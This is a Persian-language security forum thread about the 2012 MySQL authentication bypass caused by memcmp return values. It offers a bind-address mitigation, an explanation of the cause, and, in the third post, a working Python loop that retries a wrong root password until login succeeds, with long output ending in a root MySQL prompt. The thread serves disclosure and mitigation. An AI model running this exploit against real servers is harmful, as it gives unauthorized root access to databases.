اطلاعیه

Collapse
No announcement yet.

A Tragically Comedic Security Flaw in MySQL

Collapse
X
 
  • Filter
  • زمان
  • Show
Clear All
new posts

  • A Tragically Comedic Security Flaw in MySQL

    باگ جدید mysql :
    شرح و بسط موضوع در :
    https://community.rapid7.com/communi...-flaw-in-mysql
    مشکل از کجا ناشی می شود ؟
    عدم هندل کردن درست در thread های cuncurent در mysql

    روش patch کردن مشکل

    قایل /etc/my.cnf را باز کنید و خط زیر را در آن قرار دهید.

    [mysqld]
    bind-address = 127.0.0.1
    سپس سرویس Mysql را restart نمایید.
    service mysqld restart

    ّبا تشکر
    Last edited by dangeroushacker; 06-13-2012, 01:44 AM.
    My Crime Is My Advisory

    Hacking Is The Best But Security Is The First

    My Crime Is That Of Curiosity

    هميشه راهي براي نفوذ است و هيچ سيستمي به طور مطلق امن نيست. بلكه بايستي آن راه نفوذ را كشف كرد .هنر هك هم در همين نكته متبلور ميشود

    Best Secure Hosting

    قبل پست دادن اینو بخون

  • #2
    توضیحات خودش کافی بود به نظرم , کل حفره به خاطر یک فرض بوده که تابع ()memcmp مقداری بین 127 تا 127- بر می گردونه اما تو بعضی سرور ها با یک سری پلتفرم های خاص که از SSE optimization استفاده می کنند این فرض صادق نیست . حالا چی می شه که مقادیری خارج از 127 تا 127- منجر به لوگین با رمز عبور غلط می شه رو ننوشته .

    باگ اینه که شما با پسورد اشتباه با تعداد دفعات سعی بالا به عنوان روت لاگین میشی به MySQL
    Last edited by Sc0rpioN; 06-12-2012, 01:49 AM.

    Comment


    • #3
      يه پايتون اسكريپت ساده هم دادن براش
      کد:
      [LEFT]#!/usr/bin/python
      import subprocess
      
      
      while 1:
              subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()
      
      
      Below running the command:
      
      
      relik@stronghold:~# python mysql_bypass.py
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
      Reading table information for completion of table and column names
      You can turn off this feature to get a quicker startup with -A
      
      
      Welcome to the MySQL monitor. Commands end with ; or \g.
      Your MySQL connection id is 24598
      Server version: 5.1.62-0ubuntu0.11.10.1 (Ubuntu)
      
      
      Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
      
      
      Oracle is a registered trademark of Oracle Corporation and/or its
      affiliates. Other names may be trademarks of their respective
      owners.
      
      
      Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the current input statement.
      
      
      mysql>[/LEFT]
      برهنه،خيس، و گرسنه متولد مي شويم.
      پس از آن اوضاع به مراتب بدتر مي شود.
      -----
      بخشش يعنی اينكه بتونی فراتر از انتقام و قانون پا بذاری

      Comment

      Working...
      X